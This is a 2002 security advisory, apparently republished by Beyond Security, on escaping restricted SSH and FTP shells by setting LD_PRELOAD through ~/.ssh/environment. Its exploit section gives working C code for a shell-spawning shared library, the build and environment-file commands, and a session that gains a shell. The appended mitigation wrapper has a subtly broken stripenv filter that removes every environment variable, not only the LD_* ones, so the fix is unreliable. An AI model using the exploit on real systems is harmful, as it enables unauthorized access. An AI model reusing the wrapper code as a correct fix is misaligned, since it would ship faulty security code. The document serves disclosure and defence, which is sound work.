&"nbsp;"
&"nbsp;"
 Title 25/6/2002
SSH Environment - Circumvention of Restricted Shells

 Summary
The following paper describes a method of circumventing a restricted shell (either SSH or FTP based), this is especially dangerous on large-scale hosts where untrusted users are given limited access.

 Details
Scenario 1:
Let us say admin bob has a host that he wants to give people FTP access to. Bob doesn't want anyone to have the ability to actually log into his system, so instead of giving users normal shells, or even no shells, bob gives them all (say) /usr/sbin/nologin, a program he wrote himself in C to essentially log the attempt to syslog and exit, effectively ending the user's session. As far as most people are concerned, the user cannot do much with this aside from, say, setting up an encrypted tunnel.

The thing is, bob's system uses dynamic libraries (as most do), and /usr/sbin/nologin is dynamically linked (as most such programs are). If a user can set his environment variables (e.g. by uploading a '.SSH/environment' file) and put some arbitrary file on the system (e.g. 'doevilstuff.so'), he can bypass any functionality of /usr/sbin/nologin completely via LD_PRELOAD (or another member of the LD_* environment family).

The user can now gain a shell on the system (with his own privileges, of course, barring any 'UseLogin' issues, and administrator bob, if he were aware of what just occurred, would be extremely unhappy.

Granted, there are all kinds of interesting ways to (more or less) do away with this problem. Bob could just grit his teeth and give the FTP users a nonexistent shell, or he could statically compile nologin, assuming his operating system comes with static libraries. Bob could also, humorously, make his nologin program setuid and let the standard C library take care of the situation. Then, of course, there are also the SSH-specific access controls such as AllowGroup and AllowUsers. These may appease the situation in this scenario, but it does not correct the problem.

Scenario <n>:
Now, what happens if bob, instead of using /usr/sbin/nologin, wants to use (for example) some BBS-type interface that he wrote up or downloaded? It can be a script written in Perl or TCL or Python, or it could be a compiled program; does not matter. Additionally, bob need not be running an FTP server on this host; instead, perhaps bob uses NFS or verities to mount user home directories from a fileserver on his network; this exact setup is (unfortunately) employed by many bastion hosts, password management hosts and mail servers---to name a few. Perhaps bob runs an ISP, and replaces the user's shell when he does not pay. With all of these possible (and common) scenarios, bob is going to have a somewhat more difficult time getting around the problem.

Compiling the program statically may not be an option; hell, bob may not have the source code, or even if he does, he may not have the expertise to replace arbitrary system commands without breaking things. He could compile a static wrapper, assuming that his operating system comes with static libraries, or he _could_ write a setuid wrapper that just calls setuid(getuid()) before executing the menu-based program, again to allow the C library to take care of his situation. Still, all of this may entail replacing arbitrary system commands that may have been previously explicitly set as user shells.

Ideally, bob should not need to take such seemingly odd, nonstandard precautions. Additionally, should his libc not properly deal with the LD_* family for setuid programs, suddenly bob may find himself with an even larger (ahem, marginally larger) problem.

Exploitation of the problem is simple. The circumvention code would be compiled into a dynamic library and LD_PRELOAD=/path/to/evil.so should be placed into ~user/.SSH/environment (a similar environment option may be appended to public keys in the authohrized_keys file). If no dynamically loadable programs are executed, this will have no effect.

Side note:
If you setup restricted accounts with restricted shells and allow unrestricted writing to .SSH/** then you are lost. It also applies to FTP-only accounts where users have full control over what is in their $HOME.

So for restricted accounts you have to be very careful, do not allow writing to $HOME, just to some selected sub directories.

Exploit:
bobuser1% SSH bobserver
evil@bobserver's password:

    User evil is not allowed to log in here. Please use one of
    the bobuser systems for shell access and account maintenance.

    For assistance, please call the help desk at extension 5432.

Connection to bobserver closed.
bobuser1% pwd
/home/evil
bobuser1% df -k |grep home
bobfs:/home [...] [...] [...] 68% /home
bobuser1% cat >evilso.c
#include <unistd.h>

void _init(void) {
execl("/bin/sh", "sh", 0);
}
^D
bobuser1% gcc -o evilso.so -shared -nostdlib evilso.c -Wall
bobuser1% echo "LD_PRELOAD=/home/evil/evilso.so" >.SSH/environment
bobuser1% SSH bobserver
evil@bobserver's password:
$ unset LD_PRELOAD
$ uname -n
bobserver
$ who am i
evil
$
--- end sample session ---


On systems where /bin/sh is shared, you can try the following:
#include <unistd.h>
#include <stdlib.h>

void _init (void) {
unsetenv("LD_PRELOAD");
execl("/bin/sh", "sh", 0);
}

Potential workaround:
First, allow only specific users (AllowUsers) or groups (AllowGroups) login access with SSH controls, if this is feasible on your network. This would be the best workaround, but it is not a solution to the problem.

ISPs and universities (along with similarly affected organizations) should compile their rejection (or otherwise restricted) binaries statically (assuming your operating system comes with static libraries). A sample static/setuid wrapper is appended, and an alternate static wrapper is given in [1].

Ideally, SSHd (and all remote access programs that allow user-definable environments) should strip any environment settings that libc ignores for setuid programs.

A sample wrapper is given below, along with compiling instructions. References follow.

Sample wrapper:
/* This is a shell wrapper to remove variables from the login
 * environment before executing the desired shell.
 *
 * While this program should preferably be statically compiled, it was
 * also written to accommodate those systems that do not ship with static
 * libraries. If your system does not have static libraries, make the
 * binary setuid-someuser (may be non-root) instead.
 */

#include <unistd.h>
#include <string.h>
#include <stdio.h>

/* include appended slash */
#define PREPATH "/realshells/"

void stripenv(envp)
char **envp;
{
/* the following entries are based on Lawrence R. Rogers'
* wrapper in cert advisory CA-1995-14 */

register char **p1, **p2;

for (p1 = p2 = envp; *p1; p1++) {
if (memcmp(*p1, "LD_", 3) ||
    memcmp(*p1, "_RLD", 4) ||
    memcmp(*p1, "LIBPATH=", 8) ||
    memcmp(*p1, "ELF_LD_", 7) ||
    memcmp(*p1, "AOUT_LD_", 8) ||
    memcmp(*p1, "IFS=", 4)) continue;

*p2++ = *p1;
}
*p2 = 0;
}


int main(argc, argv, envp)
int argc;
char **argv;
char **envp;
{
int fnl, ppl;

if (setuid(getuid())) {
perror("setuid");
fflush(stderr);
_exit(1);
}

if (*argv[0] != '-') {
/* not a login shell */
_exit(1);
}

fnl = strlen(argv[0]) - 1; /* minus prepended dash */
ppl = strlen(PREPATH);

{
char fn[fnl + ppl + 1];
memcpy (fn, PREPATH, ppl);
memcpy (fn + ppl, (argv[0] + 1), fnl);
*(fn + ppl + fnl) = 0;

stripenv(envp);
execve (fn, argv, envp);
perror(fn);
fflush(stderr);
_exit(1);
}

}
--- end sample setuid wrapper ---

[The following instructions are generalizations and will need to be adjusted for some operating systems]

If your system supports static libraries:
  Compiling (with gcc):
% gcc -o swrapper swrapper.c -O -static -s -Wall
% ldd swrapper
ldd: tcsh: not a dynamic executable

  Example setup:
# mkdir /realshells
# ls -l /usr/sbin/nologin
-rwxr-x--x 1 root root 5400 Dec 31 1999 /usr/sbin/nologin
# cp /usr/sbin/nologin /realshells/
# cp swrapper /usr/sbin/nologin
# ls -l /usr/bin/menulogin
-rwxr-x--x 1 root root 19200 Dec 31 1999 /usr/bin/menulogin
# cp /usr/bin/menulogin /realshells/
# cp swrapper /usr/bin/menulogin


If your system does not support static libraries:

  Compiling (with gcc):
% gcc -o swrapper swrapper.c -O -s -Wall

  Example setup:
(follow setup for statically-blessed systems, plus:)
# chown user:group /usr/sbin/nologin /usr/bin/menulogin
# chmod 4111 /usr/sbin/nologin /usr/bin/menulogin
# ls -l /usr/sbin/nologin /usr/bin/menulogin
---s--x--x 1 user group 4096 Jun 24 01:01 /usr/sbin/nologin
---s--x--x 1 user group 4096 Jun 24 01:01 /usr/bin/menulogin

 'user' and 'group' may be the user and group of your preference.


 Additional information
References: [1] CERT Advisory CA-1995-14, http://www.cert.org/advisories/CA-1995-14.html
The information has been provided by ari and Markus Friedl.
 
&"nbsp;"
Copyright © 1998-2001 Beyond Security Ltd. All rights reserved.
Terms of Use Site Privacy Statement.